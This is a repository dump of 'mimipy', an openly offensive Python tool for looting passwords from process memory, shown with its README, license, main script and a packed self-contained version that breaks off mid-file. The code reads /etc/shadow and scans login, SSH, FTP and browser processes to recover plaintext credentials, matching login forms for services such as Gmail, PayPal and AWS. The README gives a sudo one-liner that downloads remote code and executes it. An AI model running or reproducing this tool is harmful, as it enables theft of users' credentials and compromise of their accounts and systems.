[
  {
    "path": ".gitignore",
    "content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nenv/\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\n*.egg-info/\n.installed.cfg\n*.egg\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*,cover\n.hypothesis/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# IPython Notebook\n.ipynb_checkpoints\n\n# pyenv\n.python-version\n\n# celery beat schedule file\ncelerybeat-schedule\n\n# dotenv\n.env\n\n# virtualenv\nvenv/\nENV/\n\n# Spyder project settings\n.spyderproject\n\n# Rope project settings\n.ropeproject\n"
  },
  {
    "path": "LICENSE",
    "content": "BSD 3-Clause License\n\nCopyright (c) 2017, \nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this\n  list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice,\n  this list of conditions and the following disclaimer in the documentation\n  and/or other materials provided with the distribution.\n\n* Neither the name of the copyright holder nor the names of its\n  contributors may be used to endorse or promote products derived from\n  this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n"
  },
  {
    "path": "README.md",
    "content": "# Mimipy\nTool to dump passwords from various processes memory. Works on windows/linux/OSX !\nFeatures :\n- Embbed technique from @huntergregal's [mimipenguin.sh](https://github.com/huntergregal/mimipenguin) to dump passwords from gnome-keyring with some additional features :\n    - can dump passwords from lightDM\n    - possibility to mitigate the attack by overwriting passwords found in memory (you might want to add a cron)\n- find GET/POST/Basic passwords from browsers memory or HTTP Servers\n- function to search for any trace of your password in all your processes\n- function to scan a process by pid with all techniques available\n\n## Install\nyou can install memorpy and run mimipy.py or directly use the packed version that doesn't require any dependency\n```bash\npython packed/mimipy.py\n```\nyou can also use one the following oneliner :\n```bash\nsudo python -c 'import urllib;exec urllib.urlopen(\"https://raw.githubusercontent.com/n1nj4sec/mimipy/master/packed/mimipy.py\").read()'\n```\n\n## Usage\n```bash\nusage: mimipy.py [-h] [--clean] [-v] [-n] [-p PID] [-i IGNORE]\n                 [--search-password] [-m {cleartext,xor,b64,all,no-cleartext}]\n\n    mimipy can loot passwords from memory or overwrite them to mitigate mimipenguin's dumps !\n\n    Author: Nicolas VERDIER (contact@n1nj4.eu)\n    orginal mimipenguin.sh script and idea from @huntergregal\n    Bleeding Edge version: https://github.com/n1nj4sec/mimipy\n\n\n\noptional arguments:\n  -h, --help            show this help message and exit\n  --clean               @blueteams protect yourself and clean found passwords from memory ! You might want to regularly run this on your workstation/servers\n  -v, --verbose         be more verbose !\n  -n, --no-optimize     disable optimisations (search the whole memory whatever region perms are) (slower)\n  -p PID, --pid PID     choose the process's pid to scan instead of automatic selection\n  -i IGNORE, --ignore IGNORE\n                        ignore a process. This option can be used multiple times. ex: -i apache2 -i firefox\n  --search-password     prompt for your password and search it in all your processes !.\n  -m {cleartext,xor,b64,all,no-cleartext}, --search-mode {cleartext,xor,b64,all,no-cleartext}\n                        search for different obfuscations methods\n\n```\n\n## Contact\nby mail: contact@n1nj4.eu  \non Twitter: [Follow me on twitter](https://twitter.com/n1nj4sec)\n\n## Special thanks\nSpecial thanks to @huntergregal for releasing his mimipenguin.sh idea and @gentilwiki for the awesome mimikatz tool\n\n"
  },
  {
    "path": "mimipy.py",
    "content": "#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)\n# mimipy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\n\n\"\"\"\n    Author: Nicolas VERDIER (contact@n1nj4.eu)\n    Original idea from @huntergregal (https://github.com/huntergregal/mimipenguin)\n    This is a port in python of @huntergregal's bash script mimipenguin.sh with some improvments :\n        - possibility to clean passwords found from memory\n        - possibility to search for any trace of your password in all your processes\n        - possibility to scan a process by pid\n        - add some additional processes to scan like lightDM\n    You can find the bleeding edge version of mimipy here : https://github.com/n1nj4sec/mimipy\n\n\"\"\"\nimport sys, os\nimport urllib2\nimport re\nimport argparse\nimport logging\nimport time\nimport random\nimport traceback\nimport base64\nif sys.platform!=\"win32\":\n    import crypt\n\nclass VersionError(Exception):\n    pass\n\ntry:\n    from memorpy import *\n    try:\n        from memorpy.version import version as memorpy_version\n    except:\n        memorpy_version=(0,0)\n    if memorpy_version < (1,6):\n        logging.warning(\"memorpy version is too old, please update !\")\n        raise VersionError(\"memorpy version is too old, please update !\")\n        \nexcept ImportError as e:\n    logging.warning(\"%s\\ninstall with: \\\"pip install https://github.com/n1nj4sec/memorpy/archive/master.zip\\\"\"%e)\n    raise e\n\nLOOK_AFTER_SIZE=2*10**6\nLOOK_BEFORE_SIZE=2*10**6\n\n\n\n\ndef colorize(s, color=\"grey\"):\n    if s is None:\n        return \"\"\n    s=str(s)\n    res=s\n    COLOR_STOP=\"\\033[0m\"\n    if color.lower()==\"random\":\n        color=random.choice([\"blue\",\"red\",\"green\",\"yellow\"])\n    if color.lower()==\"blue\":\n        res=\"\\033[34m\"+s+COLOR_STOP\n    if color.lower()==\"red\":\n        res=\"\\033[31m\"+s+COLOR_STOP\n    if color.lower()==\"green\":\n        res=\"\\033[32m\"+s+COLOR_STOP\n    if color.lower()==\"yellow\":\n        res=\"\\033[33m\"+s+COLOR_STOP\n    if color.lower()==\"grey\":\n        res=\"\\033[37m\"+s+COLOR_STOP\n    if color.lower()==\"darkgrey\":\n        res=\"\\033[1;30m\"+s+COLOR_STOP\n    return res\n\n\ndef get_shadow_hashes():\n\n    if sys.platform==\"win32\" or sys.platform==\"darwin\":\n        return []\n\n    hashes=[]\n    try:\n        with open('/etc/shadow', 'rb') as f:\n            for line in f:\n                tab=line.split(\":\")\n                if len(tab[1])>10:\n                    hashes.append((tab[0],tab[1]))\n    except Exception as e:\n        logging.warning(\"Error retrieving shadow hashes: %s\"%e)\n\n    return hashes\n\n\ndef memstrings(mw, start_offset=None, end_offset=None, optimizations=''):\n    for _,x in mw.mem_search(r\"([\\x20-\\x7e]{6,50})[^\\x20-\\x7e]\", ftype='re', start_offset=start_offset, end_offset=end_offset, optimizations=optimizations):\n        yield x\n\n\n\npasswords_found=set()\ndef password_found(desc, process, user, password):\n    global passwords_found\n    if (process, user, password) not in passwords_found:\n        passwords_found.add((process, user, password))\n        print colorize(\"%s : \"%desc, color=\"green\")\n        print colorize(\"\\t- Process\\t: %s\"%process, color=\"grey\")\n        print colorize(\"\\t- Username\\t: %s\"%user, color=\"grey\")\n        print colorize(\"\\t- Password\\t: %s\"%password, color=\"grey\")\n\n\ndef password_list_match(password_list, near):\n    for passwd in password_list:\n        if near.search(passwd):\n            return True\n    return False\n\ndef cleanup_string(s):\n    ns=\"\"\n    for c in s:\n        if ord(c)<0x20 or ord(c)>0x7e:\n            break\n        ns+=c\n    return ns\n\ndef get_strings_around(mw, addr, string_at_addr, max_strings=30):\n    strings_list=[]\n    logging.debug(\"looking for strings around %s from %s to %s\"%(hex(addr), int(addr-LOOK_BEFORE_SIZE), int(addr-LOOK_AFTER_SIZE)))\n    for o in memstrings(mw, start_offset=int(addr-LOOK_BEFORE_SIZE), end_offset=int(addr+LOOK_AFTER_SIZE)):\n        s=cleanup_string(o.read(type='string', maxlen=51, errors='ignore'))\n        strings_list.append(s)\n        if len(strings_list)>=30 and string_at_addr in strings_list[max_strings/2]:\n            break\n        elif len(strings_list)>30:\n            strings_list=strings_list[1:]\n    return strings_list\n\ndef search_password(optimizations='nsrx', pid=None, mode=\"cleartext\", ignore=[]):\n    import getpass\n    mypasswd=getpass.getpass(\"search your password: \")\n    if mode!=\"no-cleartext\":\n        if mode==\"cleartext\" or mode==\"all\":\n            print (\"Searching for cleartext ...\")\n            search_string(mypasswd, optimizations=optimizations, pid=pid, ignore=ignore)\n    else:\n        mode=\"all\"\n    if mode==\"xor\" or mode==\"all\":\n        for i in range(1,255):\n            newpasswd=''.join([chr(ord(x)^i) for x in mypasswd])\n            print (\"Searching for password xored with %s : %s ...\"%(hex(i), repr(newpasswd)))\n            search_string(newpasswd, optimizations=optimizations, pid=pid, ignore=ignore)\n    if mode==\"b64\" or mode==\"all\":\n        newpasswd=base64.b64encode(mypasswd)\n        print (\"Searching for password encoded with base64 : %s ...\"%(newpasswd))\n        search_string(newpasswd, optimizations=optimizations, pid=pid, ignore=ignore)\n\ndef search_string(mypasswd, optimizations='nsrx', pid=None, ignore=[]):\n    for procdic in Process.list():\n        name=procdic.get(\"name\",\"\")\n        cpid=int(procdic[\"pid\"])\n        if sys.platform==\"win32\":\n            if pid==0 or pid==4:\n                continue\n        if pid is not None:\n            if pid!=cpid:\n                continue\n        elif cpid==os.getpid():\n            continue\n        if ignore:\n            ignore_proc=False\n            for i in ignore:\n                if i in name:\n                    ignore_proc=True\n                    break\n            if ignore_proc:\n                logging.info(\"process %s ignored\"%name)\n                continue\n        logging.info(\"Searching pass in %s (%s)\"%(name, cpid))\n        try:\n            with MemWorker(pid=cpid) as mw:\n                #for _,x in mw.mem_search(r\"\\$[0-9][a-z]?\\$(?:[a-zA-Z0-9\\./\\-\\+]{4,}\\$)?[a-zA-Z0-9\\./\\-\\+]{20,}\", ftype='re'):\n                #    h=x.read(type='string', maxlen=300)\n                #    print \"hash found in %s (%s) : %s\"%(name, pid, h)\n                #    strings_list=get_strings_around(mw, x, h)\n                #    print \"strings found around : %s\"%strings_list\n                #    if not strings_list:\n                #        x.dump(before=200, size=400)\n                for x in mw.mem_search(mypasswd, optimizations=optimizations):\n                    print colorize(\"[+] password found in process %s (%s) : %s !\"%(name, cpid, x), color=\"green\")\n                    x.dump(before=500, size=1000)\n                    print \"strings found around : \"\n                    strings_list=get_strings_around(mw, x, mypasswd)\n                    print \"strings found around : %s\"%strings_list\n                    #print \"strings where the password's address is referenced :\"\n                    #for _,o in mw.search_address(x):\n                    #    o.dump(before=200, size=400)\n                    #print \"done\"\n\n        except Exception as e:\n            logging.error(\"Error scanning process %s (%s): %s\"%(name, cpid, e))\n            logging.debug(traceback.format_exc())\n\n#from https://github.com/putterpanda/mimikittenz\nmimikittenz_regex=[\n    (\"Gmail\",\"&Email=(?P<Login>.{1,99})?&Passwd=(?P<Password>.{1,99})?&PersistentCookie=\"),\n    (\"Dropbox\",\"login_email=(?P<Login>.{1,99})&login_password=(?P<Password>.{1,99})&\"),\n    (\"SalesForce\",\"&display=page&username=(?P<Login>.{1,32})&pw=(?P<Password>.{1,16})&Login=\"),\n    (\"Office365\",\"login=(?P<Login>.{1,32})&passwd=(?P<Password>.{1,22})&PPSX=\"),\n    (\"MicrosoftOneDrive\",\"login=(?P<Login>.{1,42})&passwd=(?P<Password>.{1,22})&type=.{1,2}&PPFT=\"),\n    (\"PayPal\",\"login_email=(?P<Login>.{1,48})&login_password=(?P<Password>.{1,16})&submit=Log\\+In&browser_name\"),\n    (\"awsWebServices\",\"&email=(?P<Login>.{1,48})&create=.{1,2}&password=(?P<Password>.{1,22})&metadata1=\"),\n    (\"OutlookWeb\",\"&username=(?P<Login>.{1,48})&password=(?P<Password>.{1,48})&passwordText\"),\n    (\"Slack\",\"&crumb=.{1,70}&email=(?P<Login>.{1,50})&password=(?P<Password>.{1,48})\"),\n    (\"CitrixOnline\",\"emailAddress=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})&submit\"),\n    (\"Xero \",\"fragment=&userName=(?P<Login>.{1,32})&password=(?P<Password>.{1,22})&__RequestVerificationToken=\"),\n    (\"MYOB\",\"UserName=(?P<Login>.{1,50})&Password=(?P<Password>.{1,50})&RememberMe=\"),\n    (\"JuniperSSLVPN\",\"tz_offset=-.{1,6}&username=(?P<Login>.{1,22})&password=(?P<Password>.{1,22})&realm=.{1,22}&btnSubmit=\"),\n    (\"Twitter\",\"username_or_email%5D=(?P<Login>.{1,42})&session%5Bpassword%5D=(?P<Password>.{1,22})&remember_me=\"),\n    (\"Facebook\",\"lsd=.{1,10}&email=(?P<Login>.{1,42})&pass=(?P<Password>.{1,22})&(?:default_)?persistent=\"),\n    (\"LinkedIN\",\"session_key=(?P<Login>.{1,50})&session_password=(?P<Password>.{1,50})&isJsEnabled\"),\n    (\"Malwr\",\"&username=(?P<Login>.{1,32})&password=(?P<Password>.{1,22})&next=\"),\n    (\"VirusTotal\",\"password=(?P<Password>.{1,22})&username=(?P<Login>.{1,42})&next=%2Fen%2F&response_format=json\"),\n    (\"AnubisLabs\",\"username=(?P<Login>.{1,42})&password=(?P<Password>.{1,22})&login=login\"),\n    (\"CitrixNetScaler\",\"login=(?P<Login>.{1,22})&passwd=(?P<Password>.{1,42})\"),\n    (\"RDPWeb\",\"DomainUserName=(?P<Login>.{1,52})&UserPass=(?P<Password>.{1,42})&MachineType\"),\n    (\"JIRA\",\"username=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})&rememberMe\"),\n    (\"Redmine\",\"username=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})&login=Login\"),\n    (\"Github\",\"%3D%3D&login=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})\"),\n    (\"BugZilla\",\"Bugzilla_login=(?P<Login>.{1,50})&Bugzilla_password=(?P<Password>.{1,50})\"),\n    (\"Zendesk\",\"user%5Bemail%5D=(?P<Login>.{1,50})&user%5Bpassword%5D=(?P<Password>.{1,50})\"),\n    (\"Cpanel\",\"user=(?P<Login>.{1,50})&pass=(?P<Password>.{1,50})\"),\n]\n\ndef search_http_creds(data, offset):\n    #those basic string search pre-checks speed up a lot analysis\n    if \"Basic \" in data:\n        for res in GLOBAL_REGEX['Basic'].finditer(data):\n            b64=res.groups()[0]\n            try:\n                user, password=base64.b64decode(b64).split(\":\",1)\n            except: #if we can't decode it's a false positive\n                pass\n            else:\n                yield \"Basic\", user, password, \"unknown\"\n\n    for word in [\"passw\",\"Passw\",\"PASSW\"]:\n        if word in data:\n            index=0\n            while True:\n                if index > len(data):\n                    break\n                ni=data.find(word, index)\n                if ni==-1:\n                    break\n                si=ni-100\n                if si<0:\n                    si=0\n                #print \"GET/POST in data %s\"%offset\n                for res in GLOBAL_REGEX['GET/POST'].finditer(data, si, ni+100):\n                    dic=res.groupdict()\n                    login=dic[\"Login\"]\n                    passwd=dic[\"Password\"]\n                    domain=\"unknown\"\n                    #now we found a password, let's check if it's a known website\n                    for d, regex in mimikittenz_regex:\n                        if re.search(regex, data[si:ni+100]):\n                            domain=d\n                            break\n                    yield \"GET/POST\", dic[\"Login\"], dic[\"Password\"], domain\n                index=ni+100\n\ndef loot_http_passwords(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'):\n    logging.info(\"Analysing process %s (%s) for HTTP passwords ...\"%(name, pid))\n    with MemWorker(name=name, pid=pid) as mw:\n        for cred_type, login, password, domain in mw.mem_search(search_http_creds, ftype='lambda', optimizations=optimizations):\n            desc=rule[\"desc\"]+\" \"+cred_type+\":<%s>\"%domain\n            yield (desc, login, password)\n\ndef loot_mysql_passwords(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'):\n    logging.info(\"Analysing process %s (%s) for MySQL passwords ...\"%(name, pid))\n    with MemWorker(name=name, pid=pid) as mw:\n        for cred_type, login, password in mw.mem_search(search_mysql_creds, ftype='lambda', optimizations=optimizations):\n            yield (rule[\"desc\"]+\" \"+cred_type, login, password)\n\ndef test_shadow(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'):\n    logging.info(\"Analysing process %s (%s) for shadow passwords ...\"%(name, pid))\n    password_tested=set() #to avoid hashing the same string multiple times\n    with MemWorker(name=name, pid=pid) as mw:\n        scanned_segments=[]\n        for _,match_addr in mw.mem_search(rule[\"near\"], ftype='re', optimizations=optimizations):\n            password_list=[]\n            total=0\n            start=int(match_addr-LOOK_AFTER_SIZE)\n            end=int(match_addr+LOOK_AFTER_SIZE)\n            for s,e in scanned_segments:\n                if end < s or start > e:\n                    continue #no collision\n                elif start >=s and e >= start and end >= e:\n                    logging.debug(\"%s-%s reduced to %s-%s\"%(hex(start), hex(end), hex(e), hex(end)))\n                    start=e-200 #we only scan a smaller region because some of it has already been scanned\n            logging.debug(\"looking between offsets %s-%s\"%(hex(start),hex(end)))\n            scanned_segments.append((start, end))\n            for x in memstrings(mw, start_offset=start, end_offset=end, optimizations=optimizations):\n                passwd=cleanup_string(x.read(type='string', maxlen=51, errors='ignore'))\n                total+=1\n                password_list.append(passwd)\n                if len(password_list)>40:\n                    password_list=password_list[1:]\n                if password_list_match(password_list, rule[\"near\"]):\n                    for p in password_list:\n                        if p not in password_tested:\n                            password_tested.add(p)\n                            for user, h in shadow_hashes:\n                                if crypt.crypt(p, h) == h:\n                                    yield (rule[\"desc\"], user, p)\n                                    if clean:\n                                        logging.info(\"cleaning password from memory in proc %s at offset: %s ...\"%(name, hex(x)))\n                                        x.write(\"x\"*len(p))\nshadow_hashes=[]\ndef mimipy_loot_passwords(clean=False, optimizations='nsrx', ignore=None):\n    global shadow_hashes\n    shadow_hashes=get_shadow_hashes()\n    for procdic in Process.list():\n        name=procdic.get(\"name\", \"\")\n        pid=int(procdic[\"pid\"])\n        if sys.platform==\"win32\":\n            if pid==0 or pid==4:\n                continue\n        if ignore:\n            ignore_proc=False\n            for i in ignore:\n                if i in name:\n                    ignore_proc=True\n                    break\n            if ignore_proc:\n                logging.info(\"process %s ignored\"%name)\n                continue\n        for rule in rules:\n            if re.search(rule[\"process\"], name):\n                start_time=time.time()\n                try:\n                    for t, u, p in rule[\"func\"](name, pid, rule, clean=clean, optimizations=optimizations):\n                        yield (t, name, u, p)\n                except Exception as e:\n                    logging.warning(\"[-] %s\"%e)\n                    logging.debug(traceback.format_exc())\n                finally:\n                    logging.info(\"Process %s analysed in %s seconds\"%(name, time.time()-start_time))\n\nGLOBAL_REGEX = {\n    #\\x00Basic b64\\x00 often found in firefox\n    \"Basic\" : re.compile(r\"(?:WWW-|Proxy-)?(?:(?:Authorization(?:\\x00|:)\\s*)|\\x00)Basic\\s+(?P<basic>[a-zA-Z0-9/\\+]+={0,3})\", re.IGNORECASE), #TODO: digest, ntlm, ... hashes are still nice\n\n    \"GET/POST\" : re.compile(r\"(:?e?mail(?:_?adress)?|log(?:in)?|user(?:name)?|session_key|user%5Bemail%5D)=(?P<Login>[a-zA-Z0-9%_+*.:-]{0,25})&.{0,10}?(?:[a-z]{1,10}_|user)?(?:pa?s?s?w?o?r?d?|mdp|%5Bpassword%5D)=(?P<Password>[a-zA-Z0-9%_+*.:-]{0,25})\", re.IGNORECASE),\n    \"MySQL-Client-1\" : re.compile(r\"passwd\\x00\\x00!(?:\\x00){2,}(?P<Login>[^\\x00]+).*?shadow\\x00\\x00*!(?:\\x00){2,}(?P<Password>[^\\x00]+)\"),\n    \"MySQL-Client-2\" : re.compile(r\"/var/run/mysqld/mysqld.sock(?:\\x00)+[0-9\\.-]+(?:\\x00)+!(?:\\x00)+(?P<Login>[^\\x00]+)(?:\\x00)+!(?:\\x00)+(?P<Password>[^\\x00]+)\"),\n    \"MySQL-Client-3\" : re.compile(r\"\\x00!(?:\\x00)+(?P<Login>[^\\x00]+)(?:\\x00)+!(?:\\x00)+(?P<Password>[^\\x00]+)(?:\\x00)+mysql> elp;\"),\n}\n\nrules = [\n    {\n        \"desc\" : \"[SYSTEM - GNOME]\",\n        \"process\" : r\"gnome-keyring-daemon|gdm-password|gdm-session-worker\",\n        \"near\" : r\"libgcrypt\\.so\\..+|libgck\\-1\\.so\\.0|_pammodutil_getpwnam_|gkr_system_authtok\",\n        \"func\" : test_shadow,\n    },\n    {\n        \"desc\" : \"[SYSTEM - LightDM]\", # Ubuntu/xubuntu login screen :) https://doc.ubuntu-fr.org/lightdm\n        \"process\" : r\"lightdm\",\n        \"near\" : r\"_pammodutil_getpwnam_|gkr_system_authtok\",\n        \"func\" : test_shadow,\n    },\n    {\n        \"desc\" : \"[SYSTEM - SSH Server - sudo]\",\n        \"process\" : r\"/sshd$\",\n        \"near\" : r\"sudo.+|_pammodutil_getpwnam_\",\n        \"func\" : test_shadow,\n    },\n    {\n        \"desc\" : \"[SSH Client - sudo]\",\n        \"process\" : r\"/ssh$\",\n        \"near\" : r\"sudo.+|/tmp/ICE-unix/[0-9]+\",\n        \"func\" : test_shadow,\n    },\n    {\n        \"desc\" : \"[SYSTEM - VSFTPD]\",\n        \"process\" : r\"vsftpd\",\n        \"near\" : r\"^::.+\\:[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$\",\n        \"func\" : test_shadow,\n    },\n    #{\n    #    \"desc\" : \"[MySQL Client]\",\n    #    \"process\" : r\"/mysql$\",\n    #    \"func\" : loot_mysql_passwords,\n    #},\n    {\n        \"desc\" : \"[HTTP]\",\n        \"process\" : r\"firefox|iceweasel|chromium|chrome|/apache2|squid\",\n        \"func\" : loot_http_passwords,\n    },\n]\n\nREGEX_TYPE=type(re.compile(\"^plop$\"))\n#precompile regexes to optimize speed\nfor x in rules:\n    if \"near\" in x:\n        if type(x[\"near\"])!=REGEX_TYPE:\n            x[\"near\"]=re.compile(x[\"near\"])\n    if \"process\" in x:\n        if type(x[\"process\"])!=REGEX_TYPE:\n            x[\"process\"]=re.compile(x[\"process\"])\n\nif __name__==\"__main__\":\n    parser = argparse.ArgumentParser(description=\"\"\"\n    mimipy can loot passwords from memory or overwrite them to mitigate mimipenguin\\'s dumps !\n\n    Author: Nicolas VERDIER (contact@n1nj4.eu)\n    orginal mimipenguin.sh script and idea from @huntergregal\n    Bleeding Edge version: https://github.com/n1nj4sec/mimipy\n    \n    \"\"\", formatter_class=argparse.RawTextHelpFormatter)\n    parser.add_argument('--clean', action='store_true', help='@blueteams protect yourself and clean found passwords from memory ! You might want to regularly run this on your workstation/servers')\n    parser.add_argument('-v', '--verbose', action='store_true', help='be more verbose !')\n    parser.add_argument('-d', '--debug', action='store_true', help='be a lot more verbose !')\n    parser.add_argument('-n', '--no-optimize', action='store_true', help='disable optimisations (search the whole memory whatever region perms are) (slower)')\n    parser.add_argument('-p', '--pid', type=int, help='choose the process\\'s pid to scan instead of automatic selection')\n    parser.add_argument('-i', '--ignore', action='append', help='ignore a process. This option can be used multiple times. ex: -i apache2 -i firefox')\n    parser.add_argument('--search-password', action='store_true', help='prompt for your password and search it in all your processes !.')\n    parser.add_argument('-m', '--search-mode', choices=[\"cleartext\", \"xor\", \"b64\", \"all\", \"no-cleartext\"], default='cleartext', help='search for different obfuscations methods')\n    args = parser.parse_args()\n\n    if args.debug:\n        logging.basicConfig(stream=sys.stderr, level=logging.INFO)\n    elif args.verbose:\n        logging.basicConfig(stream=sys.stderr, level=logging.INFO)\n    else:\n        logging.basicConfig(stream=sys.stderr, level=logging.WARNING)\n    #logging.basicConfig(filename='example.log', level=logging.DEBUG)\n\n    total_time=time.time()\n\n    if sys.platform!='win32':\n        if os.geteuid()!=0:\n            if sys.platform==\"darwin\":\n                logging.error(\"needs root to run mimipy on macOS\")\n                exit(1)\n            else:\n                logging.warning(\"Some of mimipy's functions are only available when running as root\")\n\n    opt=\"nsrx\"\n    if args.no_optimize:\n        logging.info(\"Optimizations disabled\")\n        opt=''\n\n    if args.search_password:\n        search_password(optimizations=opt, pid=args.pid, mode=args.search_mode, ignore=args.ignore)\n        exit(0)\n\n    if args.pid:\n        pid_found=False\n        for procdic in Process.list():\n            name=procdic.get(\"name\",\"\")\n            pid=int(procdic[\"pid\"])\n            if sys.platform==\"win32\":\n                if pid==0 or pid==4:\n                    continue\n            if pid==args.pid:\n                pid_found=True\n                try:\n                    start_time=time.time()\n                    for rule in rules:\n                        for t,u,p in rule[\"func\"](name, pid, rule, clean=args.clean, optimizations=opt):\n                            password_found(t, name, u, p)\n                except Exception as e:\n                    logging.warning(\"[-] %s\"%e)\n                finally:\n                    logging.info(\"Process %s analysed in %s seconds\"%(name, time.time()-start_time))\n        if not pid_found:\n            logging.info(\"pid %s not found !\"%args.pid)\n    else:\n        for t, process, u, passwd in mimipy_loot_passwords(optimizations=opt, clean=args.clean, ignore=args.ignore):\n            password_found(t, process, u, passwd)\n    logging.info(\"Script executed in %s seconds\"%(time.time()-total_time))\n\n\n\n"
  },
  {
    "path": "packed/mimipy.py",
    "content": "\n# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)\n# mimipy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n# this is a self contained mimipy.py with all packages embedded\n# last version available here https://github.com/n1nj4sec/mimipy\n\n\nimport imp, sys\nfullname='pupyimporter'\nmod = imp.new_module(fullname)\nmod.__file__ = \"<bootloader>\\%s\" % fullname\nexec '# -*- coding: utf-8 -*-\\n# ---------------------------------------------------------------\\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\\n# All rights reserved.\\n#\\n# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\\n#\\n# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\\n#\\n# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\\n#\\n# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\\n#\\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE\\n# ---------------------------------------------------------------\\n# This module uses the builtins modules pupy and _memimporter to load python modules and packages from memory, including .pyd files (windows only)\\n# Pupy can dynamically add new modules to the modules dictionary to allow remote importing of python modules from memory !\\n#\\nimport sys, imp, marshal, gc\\n\\n__debug = False\\n__trace = False\\n\\ndef dprint(msg):\\n    global __debug\\n    if __debug:\\n        print msg\\n\\ndef memtrace(msg):\\n    global __debug\\n    global __trace\\n    if __debug and __trace:\\n        import time\\n        import os\\n        import cPickle\\n        import gc\\n\\n        msg = msg or \\'unknown\\'\\n        msg = msg.replace(\\'/\\', \\'_\\')\\n\\n        gc.collect()\\n        snapshot = __trace.take_snapshot()\\n\\n        if not os.path.isdir(\\'/tmp/pupy-traces\\'):\\n            os.makedirs(\\'/tmp/pupy-traces\\')\\n\\n        with open(\\'/tmp/pupy-traces/{}-{}\\'.format(time.time(), msg), \\'w+b\\') as out:\\n            cPickle.dump(snapshot, out)\\n\\ntry:\\n    import _memimporter\\n    builtin_memimporter = True\\n    allow_system_packages = False\\n\\nexcept ImportError:\\n    builtin_memimporter = False\\n    allow_system_packages = True\\n    import ctypes\\n    import platform\\n    if sys.platform!=\"win32\":\\n        libc = ctypes.CDLL(None)\\n        syscall = libc.syscall\\n    from tempfile import mkstemp\\n    from os import chmod, unlink, close, write\\n\\n    class MemImporter(object):\\n        def __init__(self):\\n            self.dir = None\\n            self.memfd = None\\n            self.ready = False\\n\\n            if platform.system() == \\'Linux\\':\\n                maj, min = platform.release().split(\\'.\\')[:2]\\n                if maj >= 3 and min >= 13:\\n                    __NR_memfd_create = None\\n                    machine = platform.machine()\\n                    if machine == \\'x86_64\\':\\n                        __NR_memfd_create = 319\\n                    elif machine == \\'__i386__\\':\\n                        __NR_memfd_create = 356\\n\\n                    if __NR_memfd_create:\\n                        self.memfd = 